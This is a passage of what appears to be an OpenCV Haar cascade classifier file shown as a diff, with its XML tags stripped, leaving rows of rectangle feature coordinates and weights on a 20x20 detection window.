+ <_> + 6 9 1 3 3. + + + + <_> + + <_> + 7 5 6 13 -1. + + <_> + 9 5 2 13 3. + + + + <_> + + <_> + 19 8 1 10 -1. + + <_> + 19 13 1 5 2. + + + + <_> + + <_> + 11 18 6 1 -1. + + <_> + 13 18 2 1 3. + + + + <_> + + <_> + 9 7 6 12 -1. + + <_> + 11 7 2 12 3. + + + + <_> + + <_> + 12 7 6 6 -1. + + <_> + 14 7 2 6 3. + + + + <_> + + <_> + 15 8 3 4 -1. + + <_> + 16 8 1 4 3. + + + + <_> + + <_> + 6 11 4 2 -1. + + <_> + 6 12 4 1 2. + + + + <_> + + <_> + 1 6 6 8 -1. + + <_> + 3 6 2 8 3. + + + + <_> + + <_> + 11 15 6 5 -1. + + <_> + 13 15 2 5 3. + + + + <_> + + <_> + 15 17 4 2 -1. + + <_> + 15 18 4 1 2. + + + + <_> + + <_> + 13 11 6 1 -1. + + <_> + 15 11 2 1 3. + + + + <_> + + <_> + 5 18 2 2 -1. + + <_> + 5 18 1 1 2. + + <_> + 6 19 1 1 2. + + + + <_> + + <_> + 4 8 4 4 -1. + + <_> + 4 8 2 2 2. + + <_> + 6 10 2 2 2. + + + + <_> + + <_> + 11 7 9 3 -1. + + <_> + 11 8 9 1 3. + + + + <_> + + <_> + 0 3 10 4 -1. + + <_> + 0 3 5 2 2. + + <_> + 5 5 5 2 2. + + + + <_> + + <_> + 7 18 6 1 -1. + + <_> + 9 18 2 1 3. + + + + <_> + + <_> + 0 8 3 3 -1. + + <_> + 0 9 3 1 3. + + + + <_> + + <_> + 0 0 6 8 -1. + + <_> + 0 0 3 4 2. + + <_> + 3 4 3 4 2. + + + + <_> + + <_> + 7 6 3 8 -1. + + <_> + 8 6 1 8 3. + + + + <_> + + <_> + 13 7 7 3 -1. + + <_> + 13 8 7 1 3. + + + + <_> + + <_> + 3 3 2 2 -1. + + <_> + 3 4 2 1 2. + + + + <_> + + <_> + 0 3 3 3 -1. + + <_> + 0 4 3 1 3. + + + + <_> + + <_> + 9 3 5 2 -1. + + <_> + 9 4 5 1 2. + + + + <_> + + <_> + 6 5 9 4 -1. + + <_> + 9 5 3 4 3. + + + + <_> + + <_> + 3 10 12 3 -1. + + <_> + 7 10 4 3 3. + + + + <_> + + <_> + 8 7 3 6 -1. + + <_> + 9 7 1 6 3. + + + + <_> + + <_> + 5 5 6 5 -1. + + <_> + 8 5 3 5 2. + + + + <_> + + <_> + 0 5 2 3 -1. + + <_> + 0 6 2 1 3. + + + + <_> + + <_> + 9 7 3 4 -1. + + <_> + 10 7 1 4 3. + + + + <_> + + <_> + 1 0 6 15 -1. + + <_> + 3 0 2 15 3. + + + + <_> + + <_> + 15 1 3 5 -1. + + <_> + 16 1 1 5 3. + + + + <_> + + <_> + 9 2 3 10 -1. + + <_> + 10 2 1 10 3. + + + + <_> + + <_> + 8 8 6 12 -1. + + <_> + 10 8 2 12 3. + + + + <_> + + <_> + 16 4 3 4 -1. + + <_> + 16 6 3 2 2. + + + + <_> + + <_> + 16 7 2 2 -1. + + <_> + 16 7 1 1 2. + + <_> + 17 8 1 1 2. + + + + <_> + + <_> + 13 0 6 9 -1. + + <_> + 13 3 6 3 3. + + + + <_> + + <_> + 7 17 1 3 -1. + + <_> + 7 18 1 1 3. + + + + <_> + + <_> + 12 1 4 2 -1. + + <_> + 12 2 4 1 2. + + + + <_> + + <_> + 17 3 1 3 -1. + + <_> + 17 4 1 1 3. + + + + <_> + + <_> + 0 16 9 3 -1. + + <_> + 0 17 9 1 3. + + + + <_> + + <_> + 3 6 2 4 -1. + + <_> + 3 6 1 2 2. + + <_> + 4 8 1 2 2. + + + + <_> + + <_> + 13 18 3 1 -1. + + <_> + 14 18 1 1 3. + + + + <_> + + <_> + 0 18 4 2 -1. + + <_> + 2 18 2 2 2. + + + + <_> + + <_> + 1 19 2 1 -1. + + <_> + 2 19 1 1 2. + + + + <_> + + <_> + 0 18 4 2 -1. + + <_> + 0 19 4 1 2. + + + + <_> + + <_> + 2 17 1 3 -1. + + <_> + 2 18 1 1 3. + + + + <_> + + <_> + 4 8 3 5 -1. + + <_> + 5 8 1 5 3. + + + + <_> + + <_> + 2 1 6 7 -1. + + <_> + 4 1 2 7 3. + + + + <_> + + <_> + 3 6 2 8 -1. + + <_> + 3 6 1 4 2. + + <_> + 4 10 1 4 2. + + + + <_> + + <_> + 4 5 11 10 -1. + + <_> + 4 10 11 5 2. + + + + <_> + + <_> + 0 13 20 2 -1. + + <_> + 10 13 10 2 2. + + + + <_> + + <_> + 1 13 16 3 -1. + + <_> + 9 13 8 3 2. + + + + <_> + + <_> + 16 4 4 4 -1. + + <_> + 16 4 2 2 2. + + <_> + 18 6 2 2 2. + + + + <_> + + <_> + 16 0 4 12 -1. + + <_> + 16 0 2 6 2. + + <_> + 18 6 2 6 2. + + + + <_> + + <_> + 14 15 3 1 -1. + + <_> + 15 15 1 1 3. + + + + <_> + + <_> + 3 4 12 10 -1. + + <_> + 3 9 12 5 2. + + + + <_> + + <_> + 9 18 2 2 -1. + + <_> + 9 18 1 1 2. + + <_> + 10 19 1 1 2. + + + + <_> + + <_> + 9 18 2 2 -1. + + <_> + 9 18 1 1 2. + + <_> + 10 19 1 1 2. + + + + <_> + + <_> + 13 4 2 14 -1. + + <_> + 13 4 1 7 2. + + <_> + 14 11 1 7 2. + + + + <_> + + <_> + 4 2 6 4 -1. + + <_> + 7 2 3 4 2. + + + + <_> + + <_> + 0 0 18 20 -1. + + <_> + 0 0 9 10 2. + + <_> + 9 10 9 10 2. + + + + <_> + + <_> + 15 11 1 2 -1. + + <_> + 15 12 1 1 2. + + + + <_> + + <_> + 16 10 2 4 -1. + + <_> + 16 10 1 2 2. + + <_> + 17 12 1 2 2. + + + + <_> + + <_> + 18 17 2 2 -1. + + <_> + 18 17 1 1 2. + + <_> + 19 18 1 1 2. + + + + <_> + + <_> + 9 17 1 2 -1. + + <_> + 9 18 1 1 2. + + + + <_> + + <_> + 8 4 9 6 -1. + + <_> + 11 4 3 6 3. + + + + <_> + + <_> + 6 9 9 10 -1. + + <_> + 9 9 3 10 3. + + + + <_> + + <_> + 5 0 5 4 -1. + + <_> + 5 2 5 2 2. + + + + <_> + + <_> + 5 7 11 4 -1. + + <_> + 5 9 11 2 2. + + + + <_> + + <_> + 2 4 2 14 -1. + + <_> + 3 4 1 14 2. + + + + <_> + + <_> + 8 6 3 5 -1. + + <_> + 9 6 1 5 3. + + + + <_> + + <_> + 8 4 3 9 -1. + + <_> + 9 4 1 9 3. + + + + <_> + + <_> + 0 8 20 6 -1. + + <_> + 0 10 20 2 3. + + + + <_> + + <_> + 14 16 6 1 -1. + + <_> + 17 16 3 1 2. + + + + <_> + + <_> + 17 18 2 2 -1. + + <_> + 17 19 2 1 2. + + + + <_> + + <_> + 8 17 6 3 -1. + + <_> + 10 17 2 3 3. + + + + <_> + + <_> + 4 1 9 15 -1. + + <_> + 7 1 3 15 3. + + + + <_> + + <_> + 11 5 3 12 -1. + + <_> + 12 5 1 12 3. + + + + <_> + + <_> + 0 15 4 3 -1. + + <_> + 0 16 4 1 3. + + + + <_> + + <_> + 0 0 15 1 -1. + + <_> + 5 0 5 1 3. + + + + <_> + + <_> + 6 0 6 4 -1. + + <_> + 8 0 2 4 3. + + + + <_> + + <_> + 2 0 9 3 -1. + + <_> + 5 0 3 3 3. + + + + <_> + + <_> + 13 6 3 7 -1. + + <_> + 14 6 1 7 3. + + + + <_> + + <_> + 7 6 4 2 -1. + + <_> + 7 7 4 1 2. + + + + <_> + + <_> + 6 18 6 1 -1. + + <_> + 8 18 2 1 3. + + + + <_> + + <_> + 18 6 2 2 -1. + + <_> + 18 7 2 1 2. + + + + <_> + + <_> + 6 4 7 3 -1. + + <_> + 6 5 7 1 3. + + + + <_> + + <_> + 12 7 3 1 -1. + + <_> + 13 7 1 1 3. + + + + <_> + + <_> + 15 1 2 10 -1. + + <_> + 15 1 1 5 2. + + <_> + 16 6 1 5 2. + + + + <_> + + <_> + 0 18 2 2 -1. + + <_> + 0 19 2 1 2. + + + + <_> + + <_> + 19 4 1 8 -1. + + <_> + 19 8 1 4 2. + + + + <_> + + <_> + 1 17 1 3 -1. + + <_> + 1 18 1 1 3. + + + + <_> + + <_> + 0 15 6 4 -1. + + <_> + 0 15 3 2 2. + + <_> + 3 17 3 2 2. + + + + <_> + + <_> + 19 0 1 18 -1. + + <_> + 19 6 1 6 3. + + + + <_> + + <_> + 10 2 6 2 -1. + + <_> + 12 2 2 2 3. + + + + <_> + + <_> + 2 8 12 2 -1. + + <_> + 6 8 4 2 3. + + + + <_> + + <_> + 16 0 4 1 -1. + + <_> + 18 0 2 1 2. + + + + <_> + + <_> + 8 4 2 6 -1. + + <_> + 8 7 2 3 2. + + + + <_> + + <_> + 14 5 2 10 -1. + + <_> + 15 5 1 10 2. + + + + <_> + + <_> + 13 4 2 2 -1. + + <_> + 13 5 2 1 2. + + + + <_> + + <_> + 11 1 3 6 -1. + + <_> + 11 3 3 2 3. + + + + <_> + + <_> + 6 9 12 2 -1. + + <_> + 10 9 4 2 3. + + + + <_> + + <_> + 9 16 4 2 -1. + + <_> + 9 17 4 1 2. + + + + <_> + + <_> + 5 14 15 4 -1. + + <_> + 5 16 15 2 2. + + + + <_> + + <_> + 18 16 2 2 -1. + + <_> + 18 17 2 1 2. + + + + <_> + + <_> + 16 18 2 2 -1. + + <_> + 16 18 1 1 2. + + <_> + 17 19 1 1 2. + + + + <_> + + <_> + 6 4 3 8 -1. + + <_> + 7 4 1 8 3. + + + + <_> + + <_> + 5 9 3 1 -1. + + <_> + 6 9 1 1 3. + + + + <_> + + <_> + 0 8 1 6 -1. + + <_> + 0 10 1 2 3. + + + + <_> + + <_> + 11 2 9 6 -1. + + <_> + 14 2 3 6 3. + + + + <_> + + <_> + 12 2 6 4 -1. + + <_> + 14 2 2 4 3. + + + + <_> + + <_> + 1 7 2 4 -1. + + <_> + 1 9 2 2 2. + + + + <_> + + <_> + 13 1 6 4 -1. + + <_> + 13 3 6 2 2. + + + + <_> + + <_> + 4 10 2 10 -1. + + <_> + 4 10 1 5 2. + + <_> + 5 15 1 5 2. + + + + <_> + + <_> + 2 16 9 3 -1. + + <_> + 5 16 3 3 3. + + + + <_> + + <_> + 1 2 3 9 -1. + + <_> + 2 2 1 9 3. + + + + <_> + + <_> + 19 7 1 4 -1. + + <_> + 19 9 1 2 2. + + + + <_> + + <_> + 14 11 6 8 -1. + + <_> + 14 11 3 4 2. + + <_> + 17 15 3 4 2. + + + + <_> + + <_> + 15 12 4 6 -1. + + <_> + 15 12 2 3 2. + + <_> + 17 15 2 3 2. + + + + <_> + + <_> + 16 15 2 2 -1. + + <_> + 16 15 1 1 2. + + <_> + 17 16 1 1 2. + + + + <_> + + <_> + 17 16 2 2 -1. + + <_> + 17 16 1 1 2. + + <_> + 18 17 1 1 2. + + + + <_> + + <_> + 17 16 2 2 -1. + + <_> + 17 16 1 1 2. + + <_> + 18 17 1 1 2. + + + + <_> + + <_> + 2 3 2 2 -1. + + <_> + 2 3 1 1 2. + + <_> + 3 4 1 1 2. + + + + <_> + + <_> + 10 10 3 3 -1. + + <_> + 11 10 1 3 3. + + + + <_> + + <_> + 5 9 7 8 -1. + + <_> + 5 13 7 4 2. + + + + <_> + + <_> + 7 16 2 2 -1. + + <_> + 7 16 1 1 2. + + <_> + 8 17 1 1 2. + + + + <_> + + <_> + 7 16 2 2 -1. + + <_> + 7 16 1 1 2. + + <_> + 8 17 1 1 2. + + + + <_> + + <_> + 9 8 10 3 -1. + + <_> + 14 8 5 3 2. + + + + <_> + + <_> + 6 7 4 8 -1. + + <_> + 6 7 2 4 2. + + <_> + 8 11 2 4 2. + + + + <_> + + <_> + 1 6 4 3 -1. + + <_> + 1 7 4 1 3. + + + + <_> + + <_> + 6 10 6 10 -1. + + <_> + 8 10 2 10 3. + + + + <_> + + <_> + 4 6 3 6 -1. + + <_> + 5 6 1 6 3. + + + + <_> + + <_> + 3 10 4 4 -1. + + <_> + 3 10 2 2 2. + + <_> + 5 12 2 2 2. + + + + <_> + + <_> + 3 10 4 4 -1. + + <_> + 3 10 2 2 2. + + <_> + 5 12 2 2 2. + + + + <_> + + <_> + 3 10 4 4 -1. + + <_> + 3 10 2 2 2. + + <_> + 5 12 2 2 2. + + + + <_> + + <_> + 14 8 2 6 -1. + + <_> + 15 8 1 6 2. + + + + <_> + + <_> + 3 10 4 4 -1. + + <_> + 3 10 2 2 2. + + <_> + 5 12 2 2 2. + + + + <_> + + <_> + 3 10 4 4 -1. + + <_> + 3 10 2 2 2. + + <_> + 5 12 2 2 2. + + + + <_> + + <_> + 12 4 3 9 -1. + + <_> + 13 4 1 9 3. + + + + <_> + + <_> + 12 3 1 12 -1. + + <_> + 12 7 1 4 3. + + + + <_> + + <_> + 2 0 18 1 -1. + + <_> + 8 0 6 1 3. + + + + <_> + + <_> + 10 0 10 6 -1. + + <_> + 10 0 5 3 2. + + <_> + 15 3 5 3 2. + + + + <_> + + <_> + 18 16 2 2 -1. + + <_> + 18 17 2 1 2. + + + + <_> + + <_> + 3 5 4 2 -1. + + <_> + 3 5 2 1 2. + + <_> + 5 6 2 1 2. + + + + <_> + + <_> + 11 8 3 3 -1. + + <_> + 12 8 1 3 3. + + + + <_> + + <_> + 11 7 3 5 -1. + + <_> + 12 7 1 5 3. + + + + <_> + + <_> + 3 19 15 1 -1. + + <_> + 8 19 5 1 3. + + + + <_> + + <_> + 8 13 3 2 -1. + + <_> + 8 14 3 1 2. + + + + <_> + + <_> + 2 12 8 4 -1. + + <_> + 2 12 4 2 2. + + <_> + 6 14 4 2 2. + + + + <_> + + <_> + 16 16 2 2 -1. + + <_> + 16 16 1 1 2. + + <_> + 17 17 1 1 2. + + + + <_> + + <_> + 7 0 3 2 -1. + + <_> + 8 0 1 2 3. + + + + <_> + + <_> + 6 7 2 5 -1. + + <_> + 7 7 1 5 2. + + + + <_> + + <_> + 18 0 2 17 -1. + + <_> + 19 0 1 17 2. + + + + <_> + + <_> + 16 16 1 3 -1. + + <_> + 16 17 1 1 3. + + + + <_> + + <_> + 14 8 3 7 -1. + + <_> + 15 8 1 7 3. + + + + <_> + + <_> + 10 17 2 2 -1. + + <_> + 10 17 1 1 2. + + <_> + 11 18 1 1 2. + + + + <_> + + <_> + 4 9 1 3 -1. + + <_> + 4 10 1 1 3. + + + + <_> + + <_> + 18 10 2 3 -1. + + <_> + 18 11 2 1 3. + + + + <_> + + <_> + 12 1 3 10 -1. + + <_> + 13 1 1 10 3. + + + + <_> + + <_> + 8 12 9 1 -1. + + <_> + 11 12 3 1 3. + + + + <_> + + <_> + 5 18 2 2 -1. + + <_> + 5 18 1 1 2. + + <_> + 6 19 1 1 2. + + + + <_> + + <_> + 19 6 1 9 -1. + + <_> + 19 9 1 3 3. + + + + <_> + + <_> + 4 7 2 4 -1. + + <_> + 4 7 1 2 2. + + <_> + 5 9 1 2 2. + + + + <_> + + <_> + 1 4 6 14 -1. + + <_> + 3 4 2 14 3. + + + + <_> + + <_> + 10 5 9 3 -1. + + <_> + 13 5 3 3 3. + + + + <_> + + <_> + 18 7 2 6 -1. + + <_> + 18 9 2 2 3. + + + + <_> + + <_> + 5 6 2 7 -1. + + <_> + 6 6 1 7 2. + + + + <_> + + <_> + 10 4 6 8 -1. + + <_> + 13 4 3 8 2. + + + + <_> + + <_> + 0 8 2 9 -1. + + <_> + 0 11 2 3 3. + + + + <_> + + <_> + 0 7 5 3 -1. + + <_> + 0 8 5 1 3. + + + + <_> + + <_> + 8 1 7 2 -1. + + <_> + 8 2 7 1 2. + + + + <_> + + <_> + 7 5 3 5 -1. + + <_> + 8 5 1 5 3. + + + + <_> + + <_> + 19 2 1 2 -1. + + <_> + 19 3 1 1 2. + + + + <_> + + <_> + 6 7 10 11 -1. + + <_> + 11 7 5 11 2. + + + + <_> + + <_> + 9 19 6 1 -1. + + <_> + 11 19 2 1 3. + + + + <_> + + <_> + 3 0 12 1 -1. + + <_> + 7 0 4 1 3. + + + + <_> + + <_> + 4 1 6 5 -1. + + <_> + 6 1 2 5 3. + + + + <_> + + <_> + 6 12 12 6 -1. + + <_> + 10 12 4 6 3. + + + + <_> + + <_> + 16 13 2 3 -1. + + <_> + 16 14 2 1 3. + + + + <_> + + <_> + 7 14 4 2 -1. + + <_> + 7 15 4 1 2. + + + + <_> + + <_> + 7 14 2 2 -1. + + <_> + 7 15 2 1 2. + + + + <_> + + <_> + 3 10 2 4 -1. + + <_> + 3 10 1 2 2. + + <_> + 4 12 1 2 2. + + + + <_> + + <_> + 0 3 2 6 -1. + + <_> + 0 5 2 2 3. + + + + <_> + + <_> + 1 10 2 2 -1. + + <_> + 1 10 1 1 2. + + <_> + 2 11 1 1 2. + + + + <_> + + <_> + 16 4 4 3 -1. + + <_> + 16 5 4 1 3. + + + + <_> + + <_> + 5 10 2 4 -1. + + <_> + 5 10 1 2 2. + + <_> + 6 12 1 2 2. + + + + <_> + + <_> + 5 11 13 2 -1. + + <_> + 5 12 13 1 2. + + + + <_> + + <_> + 10 2 3 11 -1. + + <_> + 11 2 1 11 3. + + + + <_> + + <_> + 10 2 4 4 -1. + + <_> + 10 4 4 2 2. + + + + <_> + + <_> + 8 8 6 2 -1. + + <_> + 10 8 2 2 3. + + + + <_> + + <_> + 11 2 3 3 -1. + + <_> + 12 2 1 3 3. + + + + <_> + + <_> + 6 18 14 2 -1. + + <_> + 6 18 7 1 2. + + <_> + 13 19 7 1 2. + + + + <_> + + <_> + 17 7 1 12 -1. + + <_> + 17 11 1 4 3. + + + + <_> + + <_> + 10 5 10 3 -1. + + <_> + 10 6 10 1 3. + + + + <_> + + <_> + 6 1 3 3 -1. + + <_> + 7 1 1 3 3. + + + + <_> + + <_> + 13 8 3 1 -1. + + <_> + 14 8 1 1 3. + + + + <_> + + <_> + 10 14 2 6 -1. + + <_> + 10 16 2 2 3. + + + + <_> + + <_> + 4 1 12 14 -1. + + <_> + 8 1 4 14 3. + + + + <_> + + <_> + 14 1 6 14 -1. + + <_> + 16 1 2 14 3. + + + + <_> + + <_> + 3 16 2 2 -1. + + <_> + 3 16 1 1 2. + + <_> + 4 17 1 1 2. + + + + <_> + + <_> + 0 16 2 2 -1. + + <_> + 0 17 2 1 2. + + + + <_> + + <_> + 15 6 4 6 -1. + + <_> + 15 6 2 3 2. + + <_> + 17 9 2 3 2. + + + + <_> + + <_> + 12 5 2 2 -1. + + <_> + 12 6 2 1 2. + + + + <_> + + <_> + 7 6 6 13 -1. + + <_> + 9 6 2 13 3. + + + + <_> + + <_> + 1 9 6 5 -1. + + <_> + 3 9 2 5 3. + + + + <_> + + <_> + 0 5 3 4 -1. + + <_> + 0 7 3 2 2. + + + + <_> + + <_> + 4 1 16 2 -1. + + <_> + 4 1 8 1 2. + + <_> + 12 2 8 1 2. + + + + <_> + + <_> + 1 18 4 2 -1. + + <_> + 1 18 2 1 2. + + <_> + 3 19 2 1 2. + + + + <_> + + <_> + 7 7 3 4 -1. + + <_> + 8 7 1 4 3. + + + + <_> + + <_> + 3 4 9 3 -1. + + <_> + 6 4 3 3 3. + + + + <_> + + <_> + 4 6 6 10 -1. + + <_> + 6 6 2 10 3. + + + + <_> + + <_> + 9 0 8 10 -1. + + <_> + 13 0 4 10 2. + + + + <_> + + <_> + 8 0 8 1 -1. + + <_> + 12 0 4 1 2. + + + + <_> + + <_> + 6 2 8 16 -1. + + <_> + 6 2 4 8 2. + + <_> + 10 10 4 8 2. + + + + <_> + + <_> + 14 10 2 10 -1. + + <_> + 14 10 1 5 2. + + <_> + 15 15 1 5 2. + + + + <_> + + <_> + 12 11 1 2 -1. + + <_> + 12 12 1 1 2. + + + + <_> + + <_> + 16 0 3 8 -1. + + <_> + 17 0 1 8 3. + + + + <_> + + <_> + 14 0 6 10 -1. + + <_> + 17 0 3 10 2. + + + + <_> + + <_> + 16 0 3 5 -1. + + <_> + 17 0 1 5 3. + + + + <_> + + <_> + 4 5 11 2 -1. + + <_> + 4 6 11 1 2. + + + + <_> + + <_> + 1 0 2 1 -1. + + <_> + 2 0 1 1 2. + + + + <_> + + <_> + 0 0 2 3 -1. + + <_> + 0 1 2 1 3. + + + + <_> + + <_> + 11 6 6 11 -1. + + <_> + 13 6 2 11 3. + + + + <_> + + <_> + 14 0 3 1 -1. + + <_> + 15 0 1 1 3. + + + + <_> + + <_> + 19 7 1 2 -1. + + <_> + 19 8 1 1 2. + + + + <_> + + <_> + 17 0 3 9 -1. + + <_> + 18 0 1 9 3. + + + + <_> + + <_> + 12 7 3 4 -1. + + <_> + 13 7 1 4 3. + + + + <_> + + <_> + 0 1 14 2 -1. + + <_> + 0 1 7 1 2. + + <_> + 7 2 7 1 2. + + + + <_> + + <_> + 3 1 3 2 -1. + + <_> + 4 1 1 2 3. + + + + <_> + + <_> + 4 0 15 2 -1. + + <_> + 9 0 5 2 3. + + + + <_> + + <_> + 10 2 6 1 -1. + + <_> + 12 2 2 1 3. + + + + <_> + + <_> + 9 4 6 11 -1. + + <_> + 11 4 2 11 3. + + + + <_> + + <_> + 2 16 2 4 -1. + + <_> + 2 18 2 2 2. + + + + <_> + + <_> + 6 17 6 3 -1. + + <_> + 8 17 2 3 3. + + + + <_> + + <_> + 7 9 6 2 -1. + + <_> + 9 9 2 2 3. + + + + <_> + + <_> + 6 8 9 2 -1. + + <_> + 9 8 3 2 3. + + + + <_> + + <_> + 6 6 2 10 -1. + + <_> + 6 6 1 5 2. + + <_> + 7 11 1 5 2. + + + + <_> + + <_> + 0 11 2 3 -1. + + <_> + 0 12 2 1 3. + + + + <_> + + <_> + 11 15 4 1 -1. + + <_> + 13 15 2 1 2. + + + + <_> + + <_> + 6 17 1 2 -1. + + <_> + 6 18 1 1 2. + + + + <_> + + <_> + 0 0 6 20 -1. + + <_> + 2 0 2 20 3. + + + + <_> + + <_> + 3 10 2 2 -1. + + <_> + 4 10 1 2 2. + + + + <_> + + <_> + 4 7 3 5 -1. + + <_> + 5 7 1 5 3. + + + + <_> + + <_> + 3 12 6 2 -1. + + <_> + 5 12 2 2 3. + + + + <_> + + <_> + 6 15 7 4 -1. + + <_> + 6 17 7 2 2. + + + + <_> + + <_> + 17 16 2 2 -1. + + <_> + 17 16 1 1 2. + + <_> + 18 17 1 1 2. + + + + <_> + + <_> + 15 1 3 16 -1. + + <_> + 16 1 1 16 3. + + + + <_> + + <_> + 6 16 6 3 -1. + + <_> + 8 16 2 3 3. + + + + <_> + + <_> + 15 14 3 2 -1. + + <_> + 15 15 3 1 2. + + + + <_> + + <_> + 12 16 1 2 -1. + + <_> + 12 17 1 1 2. + + + + <_> + + <_> + 0 2 4 4 -1. + + <_> + 0 2 2 2 2. + + <_> + 2 4 2 2 2. + + + + <_> + + <_> + 1 1 6 4 -1. + + <_> + 1 1 3 2 2. + + <_> + 4 3 3 2 2. + + + + <_> + + <_> + 1 18 1 2 -1. + + <_> + 1 19 1 1 2. + + + + <_> + + <_> + 4 7 2 3 -1. + + <_> + 4 8 2 1 3. + + + + <_> + + <_> + 1 0 9 14 -1. + + <_> + 1 7 9 7 2. + + + + <_> + + <_> + 4 9 2 6 -1. + + <_> + 4 9 1 3 2. + + <_> + 5 12 1 3 2. + + + + <_> + + <_> + 3 9 4 3 -1. + + <_> + 5 9 2 3 2. + + + + <_> + + <_> + 0 9 2 4 -1. + + <_> + 0 11 2 2 2. + + + + <_> + + <_> + 16 6 3 10 -1. + + <_> + 17 6 1 10 3. + + + + <_> + + <_> + 16 11 2 1 -1. + + <_> + 17 11 1 1 2. + + + + <_> + + <_> + 5 7 4 4 -1. + + <_> + 5 9 4 2 2. + + + + <_> + + <_> + 10 11 9 2 -1. + + <_> + 13 11 3 2 3. + + + + <_> + + <_> + 15 10 2 2 -1. + + <_> + 15 10 1 1 2. + + <_> + 16 11 1 1 2. + + + + <_> + + <_> + 10 6 6 14 -1. + + <_> + 10 13 6 7 2. + + + + <_> + + <_> + 14 7 3 5 -1. + + <_> + 15 7 1 5 3. + + + + <_> + + <_> + 6 11 12 3 -1. + + <_> + 10 11 4 3 3. + + + + <_> + + <_> + 17 16 1 2 -1. + + <_> + 17 17 1 1 2. + + + + <_> + + <_> + 8 5 5 4 -1. + + <_> + 8 7 5 2 2. + + + + <_> + + <_> + 11 6 4 2 -1. + + <_> + 11 7 4 1 2. + + + + <_> + + <_> + 3 4 8 2 -1. + + <_> + 3 4 4 1 2. + + <_> + 7 5 4 1 2. + + + + <_> + + <_> + 0 8 6 6 -1. + + <_> + 2 8 2 6 3. + + + + <_> + + <_> + 7 4 6 2 -1. + + <_> + 7 5 6 1 2. + + + + <_> + + <_> + 7 3 6 3 -1. + + <_> + 9 3 2 3 3. + + + + <_> + + <_> + 2 17 3 3 -1. + + <_> + 2 18 3 1 3. + + + + <_> + + <_> + 3 10 6 1 -1. + + <_> + 5 10 2 1 3. + + + + <_> + + <_> + 7 2 6 2 -1. + + <_> + 9 2 2 2 3. + + + + <_> + + <_> + 4 11 9 1 -1. + + <_> + 7 11 3 1 3. + + + + <_> + + <_> + 7 7 11 12 -1. + + <_> + 7 13 11 6 2. + + + + <_> + + <_> + 3 2 3 4 -1. + + <_> + 4 2 1 4 3. + + + + <_> + + <_> + 9 7 9 3 -1. + + <_> + 12 7 3 3 3. + + + + <_> + + <_> + 15 11 2 6 -1. + + <_> + 15 11 1 3 2. + + <_> + 16 14 1 3 2. + + + + <_> + + <_> + 0 5 5 3 -1. + + <_> + 0 6 5 1 3. + + + + <_> + + <_> + 8 1 6 12 -1. + + <_> + 10 1 2 12 3. + + + + <_> + + <_> + 3 7 15 13 -1. + + <_> + 8 7 5 13 3. + + + + <_> + + <_> + 0 9 9 9 -1. + + <_> + 0 12 9 3 3. + + + + <_> + + <_> + 16 0 3 8 -1. + + <_> + 17 0 1 8 3. + + + + <_> + + <_> + 16 2 4 2 -1. + + <_> + 18 2 2 2 2. + + + + <_> + + <_> + 13 0 6 5 -1. + + <_> + 16 0 3 5 2. + + + + <_> + + <_> + 15 1 3 2 -1. + + <_> + 16 1 1 2 3. + + + + <_> + + <_> + 11 8 3 2 -1. + + <_> + 12 8 1 2 3. + + + + <_> + + <_> + 1 8 2 12 -1. + + <_> + 1 8 1 6 2. + + <_> + 2 14 1 6 2. + + + + <_> + + <_> + 0 1 6 12 -1. + + <_> + 2 1 2 12 3. + + + + <_> + + <_> + 19 17 1 3 -1. + + <_> + 19 18 1 1 3. + + + + <_> + + <_> + 11 3 3 10 -1. + + <_> + 12 3 1 10 3. + + + + <_> + + <_> + 8 1 9 8 -1. + + <_> + 11 1 3 8 3. + + + + <_> + + <_> + 18 16 2 2 -1. + + <_> + 18 16 1 1 2. + + <_> + 19 17 1 1 2. + + + + <_> + + <_> + 18 16 2 2 -1. + + <_> + 18 16 1 1 2. + + <_> + 19 17 1 1 2. + + + + <_> + + <_> + 6 13 2 6 -1. + + <_> + 6 15 2 2 3. + + + + <_> + + <_> + 9 14 2 2 -1. + + <_> + 9 15 2 1 2. + + + + <_> + + <_> + 14 10 2 4 -1. + + <_> + 14 10 1 2 2. + + <_> + 15 12 1 2 2. + + + + <_> + + <_> + 0 15 2 2 -1. + + <_> + 0 15 1 1 2. + + <_> + 1 16 1 1 2. + + + + <_> + + <_> + 6 7 2 2 -1. + + <_> + 6 7 1 1 2. + + <_> + 7 8 1 1 2. + + + + <_> + + <_> + 11 18 2 2 -1. + + <_> + 11 18 1 1 2. + + <_> + 12 19 1 1 2. + + + + <_> + + <_> + 0 0 6 4 -1. + + <_> + 0 0 3 2 2. + + <_> + 3 2 3 2 2. + + + + <_> + + <_> + 4 1 6 6 -1. + + <_> + 6 1 2 6 3. + + + + <_> + + <_> + 15 13 5 4 -1. + + <_> + 15 15 5 2 2. + + + + <_> + + <_> + 7 17 6 1 -1. + + <_> + 9 17 2 1 3. + + + + <_> + + <_> + 16 19 4 1 -1. + + <_> + 18 19 2 1 2. + + + + <_> + + <_> + 16 16 4 4 -1. + + <_> + 18 16 2 4 2. + + + + <_> + + <_> + 7 8 9 4 -1. + + <_> + 10 8 3 4 3. + + + + <_> + + <_> + 16 18 2 2 -1. + + <_> + 16 18 1 1 2. + + <_> + 17 19 1 1 2. + + + + <_> + + <_> + 2 9 2 4 -1. + + <_> + 2 9 1 2 2. + + <_> + 3 11 1 2 2. + + + + <_> + + <_> + 0 3 8 4 -1. + + <_> + 0 3 4 2 2. + + <_> + 4 5 4 2 2. + + + + <_> + + <_> + 0 1 8 1 -1. + + <_> + 4 1 4 1 2. + + + + <_> + + <_> + 0 5 8 9 -1. + + <_> + 4 5 4 9 2. + + + + <_> + + <_> + 7 18 6 2 -1. + + <_> + 9 18 2 2 3. + + + + <_> + + <_> + 0 4 1 12 -1. + + <_> + 0 8 1 4 3. + + + + <_> + + <_> + 19 13 1 6 -1. + + <_> + 19 15 1 2 3. + + + + <_> + + <_> + 2 8 6 8 -1. + + <_> + 4 8 2 8 3. + + + + <_> + + <_> + 0 0 9 17 -1. + + <_> + 3 0 3 17 3. + + + + <_> + + <_> + 7 9 6 8 -1. + + <_> + 9 9 2 8 3. + + + + <_> + + <_> + 5 10 9 4 -1. + + <_> + 8 10 3 4 3. + + + + <_> + + <_> + 5 0 8 3 -1. + + <_> + 5 1 8 1 3. + + + + <_> + + <_> + 16 6 4 4 -1. + + <_> + 16 6 2 2 2. + + <_> + 18 8 2 2 2. + + + + <_> + + <_> + 17 4 2 8 -1. + + <_> + 17 4 1 4 2. + + <_> + 18 8 1 4 2. + + + + <_> + + <_> + 2 16 1 3 -1. + + <_> + 2 17 1 1 3. + + + + <_> + + <_> + 2 16 1 3 -1. + + <_> + 2 17 1 1 3. + + + + <_> + + <_> + 11 0 1 3 